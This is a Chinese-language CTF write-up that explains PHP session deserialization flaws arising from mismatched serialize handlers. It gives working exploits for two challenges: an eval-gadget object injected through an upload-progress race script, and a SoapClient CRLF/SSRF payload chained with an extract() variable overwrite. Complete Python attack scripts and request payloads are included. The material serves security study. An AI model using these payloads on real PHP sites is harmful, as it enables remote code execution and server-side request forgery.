PHP SESSION反序列化机制

PHP中关于session的设置有很多,其中一些特性可能产生session文件包含漏洞,还有一些特性可能产生session反序列化漏洞

SESSION反序列化机制

php.ini:

  • session.save_path=”/tmp”:session文件的存储位置

  • session.save_handler=files:session文件的存储方式

  • session.auto_start=0:表明默认不启动session

  • session.serialize_handler=php:session的序列话引擎

    • php_binary:存储格式为,键名的长度对应的ASCII字符+键名+经过serialize函数序列化处理的值

    • php:存储格式为,键名+竖线+经过serialize函数序列化处理的值

    • php_serialize(php>5.5.4):存储格式为,经过serialize函数序列化处理的值

在PHP中默认使用的序列化引擎为php,如果要在代码运行前修改为其他的引擎,只需在代码最前面添加:

ini_set('session.serialize_handler', '设置的选项')

如果我们使用php_serialize引擎构造一个session文件,之后通过php引擎去解析这个文件,就会出现问题:

1
2
3
<?php
ini_set('session.serialize_handler', 'php_serialize')
$_SESSION['a'] = '|O:11:"PeopleClass":0:{}';

得到的session文件内容为:

a:1:{s:1:"a";s:24:"|O:11:"PeopleClass":0:{}";}

使用php引擎去解析上面的字符串时,会把|前的当做键名,把|后的当做值;使用同一浏览器访问上述文件,并将其代码改为:

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);
?>

得到:

array(1) { ["a:1:{s:1:"a";s:24:""]=> object(__PHP_Incomplete_Class)#1 (1) { ["__PHP_Incomplete_Class_Name"]=> string(11) "PeopleClass" } } 

可以看到,对象PeopleClass被成功解析。为什么会被解析呢?可以参考官方文档对session_start的解释:

当会话自动开始或者通过`session_start()`手动开始的时候,PHP内部会调用会话管理的`open`和`read`回调函数。会话管理器可能是PHP默认的,也可能是扩展提供的(SQLite或者Memcached扩展),也可能是通过`session_set_save_handler()`设定的用户自定义会话管理器。通过read回调函数返回的现有回话数据(使用特殊的序列化格式存储),PHP会自动`反序列化`数据并填充`$_SESSION`超全局变量

### 例题1

javis oj上的一道题:http://web.jarvisoj.com:32784/

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

可以注意到phpinfo页面:

session.serialize_handler:php_serialize

构造payload:

1
2
3
4
5
6
7
8
9
10
<?php
class OowoO
{
public $mdzz;
}

$a = new OowoO();
$a->mdzz = "var_dump(scandir('./')); echo 1234;";
echo serialize($a);
?>

得到:

O:5:"OowoO":1:{s:4:"mdzz";s:35:"var_dump(scandir('./')); echo 1234;";}

在其最前方加上|

|O:5:"OowoO":1:{s:4:"mdzz";s:35:"var_dump(scandir('./')); echo 1234;";}

之后的思路与session文件包含的方式很像:在上传文件的同时POST PHP_SESSION_UPLOAD_PROGRESS,其值为上面的payload,同时设置Cookie;之后再使用相同的Cookie去访问index页面即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url='http://web.jarvisoj.com:32784/phpinfo.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=123456'
}
def POST():
while True:
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''|O:5:"OowoO":1:{s:4:"mdzz";s:93:"var_dump(show_source('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));echo 1234;";}'''
}
r.post(url,files=files,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://web.jarvisoj.com:32784?phpinfo=123", headers=headers)
if '1234' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

至于怎么找到flag文件,可在phpinfo中看到:

_SERVER["DOCUMENT_ROOT"]: /opt/lampp/htdocs

那么列出这个网站根目录下的文件即可找到

例题2

哈勃杯bestphp’s revenge

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

相关函数:

1.implode(): 把数组元素组合为字符串

2.call_user_func(): 如果第一个参数是函数的话,则把第一个参数作为回调函数调用,其余参数是回调函数的参数。函数可以是自己定义的(已定义),也可以是系统自带函数;如果第一个参数是类的话,第二个参数可以为类里面的方法

3.reset() 函数将内部指针指向数组中的第一个元素,并输出

存在两个call_user_func函数,第一个回调函数接收GET参数f$_POST,第二个接收变量$b和变量$a,则可以使用变量覆盖的方式,改变$b的值

?f=extract&name=ls
b=print_r

得到回显:

array(1) {
  ["name"]=>
  string(2) "ls"
}
Array
(
    [0] => ls
    [1] => welcome_to_the_lctf2018
)

访问/flag.php,页面显示only localhost can get flag!

我们可以利用$_SESSION[name] = $_GET[name];控制写入session内容,但如何控制写入的方式,即serialize_handler呢?

在php manual查看session_start(),发现该函数可以接收一个参数(有一点太坑了,自己开始再去本地和服务器上测试均不成功,原来这是php7的特性–_-):

此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。 

在会话配置指示中发现很多配置项:

session.save_path 
session.name 
session.save_handler 
session.auto_start
session.serialize_handler
......

那么便可通过给session_start()函数传入serialize_handler来控制写入和读取session的方式

构造payload:

1
2
3
4
5
6
<?php  
$location = "http://127.0.0.1/flag.php";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=d5o8t6gadl0c35rrujle9jb4a5",'location'=>$location,'uri'=>$uri));
$c = (serialize($event));
echo urlencode($c);

发送数据包,将序列化字符串以php_serialize的引擎写入到session文件中:

POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A50%3A%22test%0D%0ACookie%3A+PHPSESSID%3Dd5o8t6gadl0c35rrujle9jb4a5%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=123456

serialize_handler=php_serialize

之后以php引擎(默认)反序列化字符串并触发__call()

POST /?f=extract&name=SoapClient
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=123456

b=call_user_func

例如:

1
2
<?php
call_user_func(call_user_func(array('SoapClient', 'welcome_to_the_lctf2018')))

运行后会调用’welcome_to_the_lctf2018’方法:

PHP Warning:  call_user_func() expects parameter 1 to be a valid callback, class 'SoapClient' does not have a method 'welcome_to_the_lctf2018' in /home/桌面/t.php on line 2
PHP Warning:  call_user_func() expects parameter 1 to be a valid callback, no array or string given in /home/桌面/t.php on line 2

那么就会进行SSRF请求,将flag读取到session文件中;之后再用PHPSESSID=d5o8t6gadl0c35rrujle9jb4a5去请求即可得到flag

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = 'http://c5e9f895-d377-49bf-8403-a46e43aaddad.node3.buuoj.cn/'

payload = '?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22gtfly%0D%0ACookie%3A+PHPSESSID%3Dgtfly%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D'
data = {'serialize_handler':'php_serialize'}
headers = {
'Cookie':'PHPSESSID=asdf'
}
s1 = requests.post(url+payload,data=data, headers=headers)
print(s1.text)
print('='*20)

payload = '?f=extract&name=SoapClient'
data = {'b':'call_user_func'}
s2 = requests.post(url+payload, data=data, headers=headers)
print(s2.text)
print('='*20)

headers = {
'Cookie':'PHPSESSID=gtfly'
}

s3 = requests.get(url, headers=headers)
print(s3.text)

记录下用docker复现此题的过程

由于目标环境使用的是php7,那么使用了richarvey/nginx-php-fpm这个容器,进入配置文件,从phpinfo页面找到--with-config-file-path=/usr/local/etc/php,即配置文件所在目录,或者使用cli命令php --ini。之后发现有两个文件“php.ini-development”和“php.ini-production”,在网上找到文章说把两个文件其中的一个改名为php.ini后即可使用;由于使用的是php-fpm,且在docker中并不能使用systemctlservice,那么使用以下命令:

ps aux|grep php-fpm

出现‘php-fpm: master process’,记录其进程号:

kill -USR2 进程号

即可实现重启


参考文章:

https://blog.spoock.com/2016/10/16/php-serialize-problem/

https://mp.weixin.qq.com/s/Z1zvcBg74T0psDGnXW-ebA

https://skysec.top/2019/05/05/Summary%20of%20serialization%20attacks%20&%20Part%201/#session%E5%BA%8F%E5%88%97%E5%8C%96%E5%BC%95%E6%93%8E%E6%BC%8F%E6%B4%9E

https://blog.csdn.net/wzx19840423/article/details/79071928

https://blog.csdn.net/wang740209668/article/details/73278221